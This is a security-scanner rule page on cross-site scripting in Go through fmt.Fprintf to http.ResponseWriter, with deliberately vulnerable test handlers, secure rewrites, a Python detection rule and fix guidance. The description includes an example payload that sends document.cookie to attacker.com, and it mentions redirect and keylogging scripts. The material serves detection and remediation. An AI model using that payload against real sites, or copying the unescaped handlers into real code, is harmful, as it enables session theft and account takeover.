# GO-XSS-002: XSS via fmt.Fprintf to http.ResponseWriter

> **Severity:** HIGH | **CWE:** CWE-79, CWE-116 | **OWASP:** A03:2021

- **Language:** Go
- **Category:** Security
- **URL:** https://codepathfinder.dev/registry/golang/security/GO-XSS-002
- **Detection:** `pathfinder scan --ruleset golang/GO-XSS-002 --project .`

## Description

`fmt.Fprintf`, `fmt.Fprintln`, and `fmt.Fprint` write raw bytes to any `io.Writer`,
including `http.ResponseWriter`. Unlike `html/template`, these functions perform **zero
HTML escaping** — every character in the format arguments reaches the browser exactly
as provided. When user-controlled data flows into these calls without prior escaping,
attackers inject arbitrary HTML and JavaScript into the response.

**Why fmt.Fprintf is particularly dangerous**:
The Go standard library's deliberate division of responsibilities places HTML escaping
in `html/template` and leaves `fmt` as a raw byte writer. Developers accustomed to
server-side templating in other languages may not realize that `fmt.Fprintf(w, "<p>%s</p>", userInput)`
is equivalent to `w.Write([]byte("<p>" + userInput + "</p>"))` — both write unescaped bytes.

**XSS attack surface via fmt.Fprintf**:
- "**Format string injection**: `fmt.Fprintf(w, userInput)` — if the user controls the format"
  string itself, `%!` verbs can cause unexpected behavior; HTML tags execute directly.
- "**Format argument injection**: `fmt.Fprintf(w, \"<p>Hello %s</p>\", name)` — attacker sets"
  `name` to `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`.
- "**Chained template fragments**: Building HTML by concatenating `fmt.Sprintf` results and"
  later writing the assembled string to the response — taint survives across the intermediate
  variable.
- "**JSON responses with incorrect Content-Type**: `fmt.Fprintf(w, `{\"user\":\"%s\"}`, username)`"
  without setting `Content-Type: application/json` — browsers sniff the content and may
  render it as HTML if the response starts with `<`.

**Content-Type sniffing**:
Go's `net/http` calls `http.DetectContentType()` on the first 512 bytes of the response
body if no explicit `Content-Type` header is set. A response starting with `{` or `[`
gets `text/plain; charset=utf-8`; starting with `<` gets `text/html; charset=utf-8`.
Setting the correct Content-Type header is a mitigation layer, but browsers with MIME
type sniffing enabled (or `X-Content-Type-Options: nosniff` missing) may still execute
injected scripts in `text/plain` responses when served inline.

**Reflected vs. Stored XSS via fmt.Fprintf**:
- "**Reflected**: The injected value comes from the current request (query param, form field,"
  URL segment) and is immediately written to the response. The attacker crafts a malicious
  URL and tricks the victim into clicking it.
- "**Stored**: The value was previously stored in a database and is now retrieved and written"
  with `fmt.Fprintf`. All visitors to the page receive the attack payload. Taint analysis
  must track the dataflow through the database query and result scanning.

**Impact of XSS**:
- Session hijacking via `document.cookie` theft (if `HttpOnly` flag is absent)
- Keylogging by injecting `<script>document.onkeydown=function(e){...}</script>`
- DOM manipulation to insert phishing content on a trusted domain
- Browser-based cryptomining or botnet participation
- Redirection to drive-by download pages via `window.location = "https://malware.example"`

**Go-specific remediation path**:
`html/template` is the authoritative solution — it performs context-aware escaping
based on where the value appears (HTML body, attribute, URL, JavaScript string, CSS).
`html.EscapeString()` handles the HTML body context but does not protect attribute
values containing JavaScript event handlers or `href="javascript:..."` patterns.


## Vulnerable Code

```python
# --- file: vulnerable.go ---
// GO-XSS-002 positive test cases — all SHOULD be detected
package main

import (
	"fmt"
	"net/http"
)

func xssFprintfDirect(w http.ResponseWriter, r *http.Request) {
	query := r.FormValue("q")                      // source
	fmt.Fprintf(w, "<p>Results: %s</p>", query)    // SINK: unescaped output
}

func xssFprintlnDirect(w http.ResponseWriter, r *http.Request) {
	msg := r.FormValue("msg")           // source
	fmt.Fprintln(w, "<p>"+msg+"</p>")   // SINK
}

func xssFprintConcatPath(w http.ResponseWriter, r *http.Request) {
	path := r.URL.Path                                 // source: URL path
	fmt.Fprintf(w, "<div>Path: %s</div>", path)       // SINK
}

func xssFmtSprintfPassedToFprint(w http.ResponseWriter, r *http.Request) {
	user := r.FormValue("user")                             // source
	html := fmt.Sprintf("<h1>Welcome, %s</h1>", user)      // taint propagates
	fmt.Fprint(w, html)                                     // SINK
}

# --- file: go.mod ---
module example.com/go-xss-002/positive

go 1.21

# --- file: go.sum ---

```

## Secure Code

```python
// SECURE: html/template — context-aware escaping (preferred)
func searchHandler(w http.ResponseWriter, r *http.Request) {
    query := r.URL.Query().Get("q")
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    tmpl := template.Must(template.New("search").Parse(
        `<html><body><h1>Results for: {{.}}</h1></body></html>`))
    tmpl.Execute(w, query) // auto-escapes query in HTML body context
}

// SECURE: html.EscapeString for inline fmt.Fprintf usage
import "html"

func profileHandler(w http.ResponseWriter, r *http.Request) {
    username := r.FormValue("username")
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    fmt.Fprintf(w, "<div class=\"user\">%s</div>", html.EscapeString(username))
}

// SECURE: JSON API — set correct Content-Type to prevent HTML interpretation
func apiHandler(w http.ResponseWriter, r *http.Request) {
    username := r.FormValue("username")
    w.Header().Set("Content-Type", "application/json")
    // Even if username contains HTML, the browser won't render it as HTML
    // because Content-Type is application/json + use json.Marshal for proper escaping
    data := map[string]string{"user": username}
    json.NewEncoder(w).Encode(data) // json.Marshal HTML-escapes < > & by default
}

// SECURE: pre-compile templates at startup (performance best practice)
var searchTmpl = template.Must(template.New("search").Parse(
    `<html><head><title>Search</title></head><body>
     <p>Showing results for: {{.Query | html}}</p>
     </body></html>`))

type SearchData struct{ Query string }

func efficientSearchHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    w.Header().Set("X-Content-Type-Options", "nosniff")
    searchTmpl.Execute(w, SearchData{Query: r.URL.Query().Get("q")})
}

```

## Detection Rule (Python SDK)

```python
"""GO-XSS-002: XSS via fmt.Fprintf/Fprintln/Fprint writing user input to ResponseWriter."""

from codepathfinder.go_rule import (
    GoHTTPRequest,
    GoGinContext,
    GoEchoContext,
    GoFiberCtx,
    GoFmt,
)
from codepathfinder import flows
from codepathfinder.presets import PropagationPresets
from codepathfinder.go_decorators import go_rule


@go_rule(
    id="GO-XSS-002",
    severity="HIGH",
    cwe="CWE-79",
    owasp="A03:2021",
    tags="go,security,xss,responsewriter,fmt,CWE-79,OWASP-A03",
    message=(
        "User-controlled input flows into fmt.Fprintf/Fprintln/Fprint writing to "
        "an http.ResponseWriter. This bypasses html/template escaping and can result "
        "in Cross-Site Scripting (XSS). "
        "Use html/template to render user data, or call html.EscapeString() before writing."
    ),
)
def detect_fmt_write_to_responsewriter():
    """Detect user input flowing into fmt formatting functions writing to ResponseWriter."""
    return flows(
        from_sources=[
            GoHTTPRequest.method(
                "FormValue", "PostFormValue", "UserAgent", "Referer", "RequestURI"
            ),
            GoHTTPRequest.attr("Body", "URL.Path", "URL.RawQuery", "Host"),
            GoGinContext.method("Param", "Query", "PostForm", "GetHeader"),
            GoEchoContext.method("QueryParam", "FormValue", "Param"),
            GoFiberCtx.method("Params", "Query", "FormValue", "Get"),
        ],
        to_sinks=[
            GoFmt.method("Fprintf", "Fprintln", "Fprint"),
        ],
        propagates_through=PropagationPresets.standard(),
        scope="global",
    )
```

## How to Fix

- Replace all fmt.Fprintf/Fprintln/Fprint to ResponseWriter with html/template.Execute().
- If fmt.Fprintf is required (e.g., simple error pages), wrap every user value with html.EscapeString().
- Always set Content-Type: text/html; charset=utf-8 explicitly — do not rely on auto-detection.
- Add X-Content-Type-Options: nosniff header to all responses to prevent MIME sniffing.
- Implement Content Security Policy (CSP) as defense-in-depth — script-src 'self' blocks injected inline scripts.
- Never pass user input as the format string argument (first argument) to fmt.Fprintf.
- Pre-compile html/template instances at startup; template.Must() panics on parse errors at startup rather than runtime.
- For JSON APIs, use encoding/json — it HTML-escapes <, >, and & characters by default.

## Security Implications

- **Session Hijacking via Cookie Theft:** XSS payloads using `document.cookie` can exfiltrate session tokens to attacker
infrastructure. Any session cookie without the `HttpOnly` flag is vulnerable.
Even HttpOnly cookies can be bypassed by XSS that makes authenticated requests
directly from the victim's browser (CSRF-style XSS exploitation).

- **Credential Harvesting on Trusted Domain:** Injected HTML replaces login form `action` attributes or overlays the page with a
pixel-perfect phishing form hosted on the legitimate domain. Victims see the correct
domain in the address bar and trust the form. All submitted credentials go to the
attacker's endpoint.

- **Persistent XSS in Stored Data Flows:** When `fmt.Fprintf` writes values retrieved from a database, the XSS becomes stored
(persistent). Every user who loads the page receives the payload. A single stored
XSS in an admin interface can escalate to full account takeover for all administrators.

- **Cross-Origin Data Exfiltration:** XSS executing in a privileged origin can use `fetch()` to read internal resources,
extract CSRF tokens from other pages, and probe internal network endpoints via the
victim's browser — bypassing firewall rules that allow the browser but not external IPs.


## References

- [CWE-79: Cross-site Scripting — MITRE](https://cwe.mitre.org/data/definitions/79.html)
- [CWE-116: Improper Encoding or Escaping of Output — MITRE](https://cwe.mitre.org/data/definitions/116.html)
- [Go html/template package — context-aware autoescaping](https://pkg.go.dev/html/template)
- [Go html package — EscapeString documentation](https://pkg.go.dev/html#EscapeString)
- [Go fmt package — Fprintf documentation](https://pkg.go.dev/fmt#Fprintf)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP DOM-based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
- [OWASP Content Security Policy Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)
- [Go html/template — Contextual Auto-Escaping Design (blog.golang.org)](https://pkg.go.dev/html/template)
- [RFC 7034 — HTTP Header Field X-Frame-Options](https://www.rfc-editor.org/rfc/rfc7034)
- [CVE-2023-24538 — backtick injection in Go html/template](https://pkg.go.dev/vuln/GO-2023-1703)
- [NIST SP 800-53 Rev 5 — SI-10 Information Input Validation](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
- [Content Security Policy Level 3 (W3C)](https://www.w3.org/TR/CSP3/)

---

Source: https://codepathfinder.dev/registry/golang/security/GO-XSS-002
Code Pathfinder — Open source, type-aware SAST with cross-file dataflow analysis
